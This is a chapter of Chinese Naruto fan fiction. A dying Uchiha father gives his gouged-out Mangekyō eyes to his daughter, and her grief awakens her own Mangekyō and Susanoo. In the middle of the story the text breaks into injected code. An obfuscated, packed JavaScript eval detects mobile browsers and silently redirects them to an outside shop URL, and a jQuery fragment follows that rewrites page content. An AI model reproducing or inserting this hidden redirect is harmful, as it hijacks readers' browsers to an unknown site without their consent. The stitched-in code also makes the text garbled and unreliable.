(回收伏笔)“容音……我给你取这个名字,起初不只是浅显的容下世间万声。我是盼你容得下乱世沉浮的疾苦,容得下族人愚昧的偏见,容得下宇智波百年积攒的恩怨、委屈与挣脱不开的宿命枷锁。
你生来心思通透、眼界长远、有担当有韧性,我盼你看得清人心冷暖,扛得起族群前路,却不必像我一样被宇智波的血脉与执念困死一生。守住族人,护住血脉,也护住你自己的本心。”
他气息越发微弱,胸口轻轻起伏,语气却彻底柔了下来,满是对小女儿藏了多年的怜惜与最纯粹的期许,念起尚且懵懂年幼的容玉。
“容玉……玉性本温润无瑕,内里藏韧,不染俗世戾气。我给她取名容玉,是盼她容下美玉般纯粹本心,守得一生温润清骨。我不愿她早早被宇智波厮杀复仇的宿命裹挟,不愿她困在血脉的牢笼里争强好胜、满身戾气。
我最大的心愿,是她能跳出宇智波世代纠缠仇恨、被命运捆绑的宿命圈子,不必背负沉重的族群责任,不用被迫踏上忍术厮杀之路,只安安稳稳,守好自己的本心,平淡安然过完一生就好。”
说完这番心底积压多年、从未对外人言说的话,宇智波凛闭了闭眼。
沉默片刻,他像是下定了此生最后的决绝决断,枯瘦的手缓缓抬起,颤抖着抚上自己空洞却尚存一丝温度的双眼,神色沉痛又无比坚定。
容音心头骤然一紧,刚想开口劝阻,便见他凭着残留在身的最后一丝意志,指尖用力,剧痛穿颅。决然亲手挖下了自己一双万花筒写轮眼。
温热的鲜血顺着指缝缓缓滑落,额头上血管和经脉疼得显现出来,他却隐忍得没有发出一丝痛吟,周身只剩沉甸甸、放不下的执念萦绕。他将尚且带着体温的双眼,颤抖着递到容音掌心,死死按住她的手,不容她有半分推辞与退缩。
掌心的微凉触感与温热血意交织在一起,容音浑身抑制不住地发颤,泪水彻底模糊了眼前所有景象。
宇智波凛用尽最后一丝残存的气息,奄奄一息,一字一顿艰难地叮嘱,声音轻得像风中残烛,却字字千钧:
“拿着……去宇智波神石那里……静下心阅读血脉碑刻……看懂宇智波的血脉秘辛……看懂藏在宿命里的真相……看懂我们一族真正该走的前路……”
他枯瘦的指尖仍旧死死攥着她的手腕,像是放不下最后的牵挂与愧疚,空洞的眼眶淌着细碎的血迹,意识一点点涣散模糊,却始终不肯松开握着女儿的手。
可心底藏了一辈子、从未说出口的话,还未予她。
他凭着残存的意识,凭着刻入骨血的本能,微微偏过头,空洞的视线精准对准容音落泪的方向。
看不见她的模样,看不见她的成长,看不见她如今挺拔可靠、独当一面的模样。
可他清清楚楚知道——
他冷硬笨拙养大的女儿,长成了世间最好的模样。
气息破碎、沙哑微弱,几乎要消散在空气里,却字字郑重、字字滚烫,是铁骨父亲一辈子最柔软、最直白、最真心的告白。
“音音……”
他轻轻唤她的乳名,语气褪去了半生所有严苛、所有冷峻、所有宗家长者的威严,只剩纯粹的、笨拙的、迟来的父爱。
微弱的喘息顿了顿,耗尽最后一丝生机,缓缓吐出萦绕半生、从未敢言说的真心:
“爹这一生……太过偏执,太过顽固。”
“不懂温柔,不会疼人,让你怨了我好多年,让你苦了好多年。”
“我从未好好夸过你……从未好好抱过你。”
枯瘦的手指轻轻蜷缩,死死攥着她,像是想弥补一辈子的缺席,声音轻得近乎呜咽,却无比笃定:
“可是音音……你懂事、通透、隐忍、善良。”
“你扛得住黑暗,担得起责任,护得住家人,守得住本心。”
“你从来、从来都没有让我失望过。”
最后一口气,轻轻落地,化作此生最滚烫、最彻底的认可,击穿所有岁月隔阂:
“容音啊……”
“你……是我的骄傲啊。”
(和第三十六章是同样的话,只不过凛这一次没有藏着,说出来了)
直到那只冰凉的手,终于无力垂落。
呼吸彻底沉寂。
就在这一刻,容音世界里最后一根支撑安稳的梁柱,轰然坍塌。
她怔怔地捧着那双还带着父亲余温的眼眸,僵跪在床前,浑身冰冷,连哭泣都似乎发不出声音。
所有压抑了三年的悔恨、痛苦、无力、偏执,在父亲生命彻底消散的瞬间,彻底冲破了所有枷锁,疯狂席卷了她的全部心神。
她想起父亲严苛却温柔的教导,想起他手臂上那道被自己年少失控划出的伤疤,想起他每次奔赴前线时决绝挺拔的背影。
他拥有那样强大、足以震慑整个族群的力量,拥有万花筒写轮眼,拥有宇智波最顶尖的实力,可到头来,还是没能护住自己,没能护住这个家,没能逃过阴谋暗算,死在无尽的黑暗与软禁之中。
她又想起宇智波川,想起那个暮春林间,为她挡下致命长刀、浑身浴血倒在她面前的男孩。
他笑着说她的眼睛很漂亮,他用性命守住了和她的约定,而她只能眼睁睁看着他死去,连伸手拉住他的力量都没有。
还有那些在忍界大战里四散离去的族人,那些曾经笑着给她糖果、温柔摸她头顶的叔叔阿姨,那些倒在战火里再也回不来的同族。
她日夜苦修,拼了命地变强,从二勾玉熬到三勾玉,从稚嫩拳脚练到能撕裂空气的查克拉刃,她以为自己足够强了,可这份强,在一个个逝去的生命面前,苍白得可笑,无力得可怜。
“现在的我,已经很强了……”
容音缓缓抬手,冰凉的指尖抚上自己剧烈发烫的右眼,泪水无声滚落,心底那股近乎疯魔的渴望,如同野火燎原,瞬间烧遍四肢百骸。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17816612|211067||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
“可如果时光能够倒流呢……如果能回到过去……”
回到五岁那个血色林间,她要紧紧攥住川的手,不让他独自扑向刀锋;
回到忍界大战纷飞的战火里,她要站在所有族人身前,用身躯挡住所有致命的攻击;
回到父亲被暗算、被软禁之前,她要提前撕开所有阴谋,挡在他身前,绝不让他落得今日这般油尽灯枯、含恨而终的下场。
“我是不是也能护着川,护着族人,护着父亲,护着所有我想守护的人?”
极致的悔恨、蚀骨的思念、逆天改命的强烈执念、对时空回溯的疯魔渴望,四股力量死死纠缠在一起,化作毁天灭地的情感洪流,毫无保留地冲击着她的双眼。
眼眶骤然炸开撕裂般的剧痛,比以往任何一次写轮眼进化都要猛烈、都要刺骨,仿佛眼球要被生生碾碎重塑。她原本澄澈的三勾玉写轮眼,在极致痛苦中疯狂旋转、碰撞、融合、重塑,三道勾玉在猩红眼底不断扭曲延展,最终织成繁复而神秘、独属于她的漆黑纹路。
万花筒写轮眼,在父亲逝世的刹那、在逆天改命的执念中,彻底觉醒。
磅礴的查克拉毫无征兆地从她七岁的身躯里狂暴迸发。金橙色的暖烈光芒冲破别院昏暗的屋顶,刺破沉沉夜色,威严的骨骼虚影在她身后缓缓凝聚、延伸、成型,带着灼人而温柔的守护之力,一层层勾勒出伟岸的轮廓。
须佐能乎,伴随着万花筒一同降临。
通体金橙,光芒暖烈却威压滔天,是宇智波史上从未有过的色彩,是只属于宇智波容音的、以守护为执念而生的守护神。
而在万花筒彻底成型的瞬间,一股更为奇异、更为霸道的力量,顺着瞳术脉络流淌开来。她能清晰看见时间的流动脉络,能触碰到空间折叠的细微缝隙,能感知到过去与现在交织的节点——那是足以撼动世界规则的力量。
独一无二的时空忍术,与她的执念一同诞生,刻入她的万花筒深处。
初级形态的须佐能乎迅速生出骨骼,金橙色查克拉在上面疯狂流转,威压席卷整片宇智波族地,让所有感知到的族人无不骇然跪地。
七岁的少女,跪在父亲冰冷的床前,猩红万花筒轮转,身后金橙须佐巍峨矗立,瞳中藏着撼动时空的力量。(是第一形态,但是因为容音年纪太小了,觉醒的时候很伤身体)
这是宇智波千年历史上,前所未有的奇迹。
也是一个女孩,在失去所有光之后,以悔恨为柴、以守护为火,燃尽一切,逆天觉醒的、最痛也最强大的神迹。
容音垂眸,死死攥着父亲留给她的双眼,泪水砸在染血的指尖上。
从这一刻起,她没有父亲,没有依靠,没有退路。
她只能带着这份逆天而来的力量,带着父亲的遗愿,带着川的遗憾,带着对时空的执念,独自走下去。
用这双能改写过去的眼睛,守住她唯一剩下的妹妹,守住宇智波最后的灯火。